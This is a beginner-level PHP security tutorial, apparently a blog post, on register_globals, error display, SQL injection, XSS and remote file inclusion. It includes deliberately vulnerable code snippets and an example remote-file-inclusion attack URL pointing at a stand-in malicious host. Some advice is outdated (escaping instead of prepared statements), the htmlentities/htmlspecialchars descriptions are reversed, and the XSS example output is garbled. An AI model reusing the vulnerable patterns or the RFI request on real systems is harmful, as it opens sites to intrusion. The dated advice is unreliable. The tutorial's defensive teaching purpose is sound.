Today PHP emerged as one of the leading programming
languages used in web development. It had increased the responsibility of PHP
programmers to save web pages from security threats. Some holes in programming
can damage the whole website. Sometimes programmers, in most cases beginners,
are not aware of these security holes. In this tutorial we are going to discuss
where could be the problem and we would be able to fix them.
1) Global Variables (regiser_globals):
You should do your best to write your scripts so that they
do not require register_globals to be on.
Using variables as globals can easily lead
to possible security problems. For example
<?php
// define $authorized = true only if user is authenticated
if (
authenticated_user
()) {
$authorized
=
true
;
}
// Because we didn't first initialize $authorized as false, this might be
// defined through register_globals, like from GET auth.php?authorized=1
// So, anyone can be seen as authenticated!
if (
$authorized
) {
include
"/highly/sensitive/data.php"
;
}
?>
When register_globals = on, our logic above may be
compromised. When off, $authorized can't be set via request so it'll
be fine, although it really is generally a good programming practice to
initialize variables first. For example, in our example above we might have
first done $authorized = false. Doing this first means our above code
would work with register_globals on or off as users by default would be
unauthorized.
With register_globals
turned off, this type of forced entry isn’t possible. The good news is that PHP
4.2.0 has register_globals turned off as its default setting, and PHP 6.0.0 has
actually removed the feature. In terms of PHP security it’s a crucial step in
the right direction. register_global can turned on or off from php.ini file.
So instead of relying on register_globals, you should
instead go through PHP Predefined Variables, such as $_REQUEST. To further
tighten security, you should also specify by using: $_ENV, $_GET, $_POST,
$_COOKIE, or $_SERVER instead using the more general $_REQUEST.
2) Error Reporting :
Error reporting is a great tool for
diagnosing bugs and allowing you to fix them quicker and easier, but it also
poses a potential security threat. The problem occurs when the error is visible
to others on-screen, because it reveals possible security holes in your source
code that a hacker can easily take advantage of. If display_errors is not
turned off, or have a value of “0”, the output will appear on the end user’s
browser – Not good for security! You do, however, want to set log_errors to on,
and then indicate the exact location of the log with error_log.
So what should you do when you have
launched your new killer app? Bugs might still appear and you need the
before-mentioned information in order to fix them. What you can do, and should
do, is write the errors into a log file. Actually, PHP does insert all errors
into a log file on the server by default. However, if you are on shared hosting
then you will most likely not have access to that file and it will therefore be
necessary to write it into your own file. There are a couple of php.ini directives that are relevant to our problem:
- display_errors this directive controls whether PHP errors should be sent to the screen. In a production environment this should always be turned off.
- error_reporting this directive controls which errors that should be reported. You should set this to E_ALL and you should fix all issues that appear by doing this.
- log_errors this controls whether errors should be logged to a file. I would recommend that you always turn this on.
- error_log this is the path of the file errors should be written to. This is only applies if log_errors is turned on obviously.
3)
SQL Injections :
These
days sql injections are one of the common threats to security. In this case of
vulnerability user(hacker) provide input in such a ways that it is embedded to
the query and produce undesired results. In serious cases it may empty your
database tables or even drop them.
With
the sql injections, all you really have to do is to filter all user input
through a function specially designed for this purpose. There is a special
feature in php called ”magic quotes”. Magic Quotes automatically perfom an
addslashes opration to the GET, POST and COOKIE values. But this is not the
full proof solution to the SQL Injection. Moreover, it is deprecated from PHP
5.3.0. and will be removed from PHP 6.0. Let’s have an example:
PHP Code:
<?php
include(
”dbconnect
.
php”
);
$id
=
$_GET
[
'id'
];
$result
=
mysql_query
(
”SELECT
*
FROM
`
news
`
WHERE
`
id
`=
'{$id}'
”
);
while(
$row
=
mysql_fetch_assoc
(
$result
)) {
print_r
(
$row
);
}
?>
This code is vulnerable as it doesn't filter
user input and simply inserts whatever the id variable contains into the query.
You have two options when you're about to safen up this code. Either use
addslashes() or use mysql_real_escape_string(). I would suggest the latter
unless you don't use mysql as database server. Both because it filters more
characters and because it's binary-safe. The code looks like this when we've
added a filter:
PHP Code:
<?php
include(
”dbconnect
.
php”
);
$id
=
mysql_real_escape_string
(
$_GET
[
'id'
]);
$result
=
mysql_query
(
”SELECT
*
FROM
`
news
`
WHERE
`
id
`=
'{$id}'
”
);
while(
$row
=
mysql_fetch_assoc
(
$result
)) {
print_r
(
$row
);
}
?>
4) Cross Site Scripting (XSS attacks)
Hackers can gather an important information from your site by using malicious html or javascript. They can redirect your web page to another one. Think about your site is having a login page and it’s been redirected to another login page looks similar to yours’ one. In this way hackers can get the login details of your website users. Now you can imagine how harmful it could be for you and your website users.
The best way to
defend against XSS is to disable JavaScript and images while surfing the web,
but we all know that’s nearly impossible with so many websites using
JavaScript’s rich application environment these days. Other method is to put filters on user input.
You can use htmlentities() and htmlspecialchars()
functions for that. While htmlentities()
will
simply convert characters which have a meaning in HTML to their corresponding
entities, htmlspecialchars() will convert all special characters to HTML
entities.
Let’s have an example:
PHP Code:
<?php
include(
”dbconnect
.
php”
);
$str = "<a href='test'>Test</a>”;
$text = htmlspecialchars
($str,
ENT_QUOTES);
echo $text;
?>
Output:
<a
href='test'>Test</a>
5) Remote File Inclusion
Remote file inclusion attacks
(sometimes abbreviated RFI) is a vulnerability many people probably do not know
of, but it is a very serious issue that also must be addressed. As the name
implies, it is when remote files are included, but what exactly does that? Let
us look at an example:
<?php $page = isset($_GET['page']) ? $_GET['page'] : 'home'; require $page . '.php'; ?>
This is a very basic front controller that will forward the request to whatever file that should be responsible for that particular request.
Imagine that at http://example.com/malice.php a file exists and our script is located at http://site.com/index.php. The attacker will do this request: http://site.com/index.php?page=http://example.com/malice. This file will get executed when it is included and it will a write a new file to the disk. This file could be a shell which would allow people to execute commands to the terminal from it as well as other things they should not be able to. Another thing the attacker can do is set page to http://example.com/malice.php? (note the ending question mark). That will make whatever follows it part of the query string and therefore ignored by the server the file is getting included from. Why this is a security issue should be pretty obvious. People should definitely not be able to execute whatever commands they want on our server, so how can we prevent them?
There are a couple of php.ini directives you can use to prevent this:
- allow_url_fopen this directive is set to on by default and it controls whether remote files should be includable.
- allow_url_include this directive is set to off by default and was introduced in PHP 5.2. It controls whether the include(), require(), include_once() and require_once() should be able to include remote files. In versions below PHP 5.2 this was also controlled by allow_url_fopen. Furthermore, if allow_url_fopen is set to off then this directive will be ignored and set to off as well.
Thanks!!!!!!!!!!! Enjoy Programming :)
Comments
Post a Comment
Thanks for your valuable comments.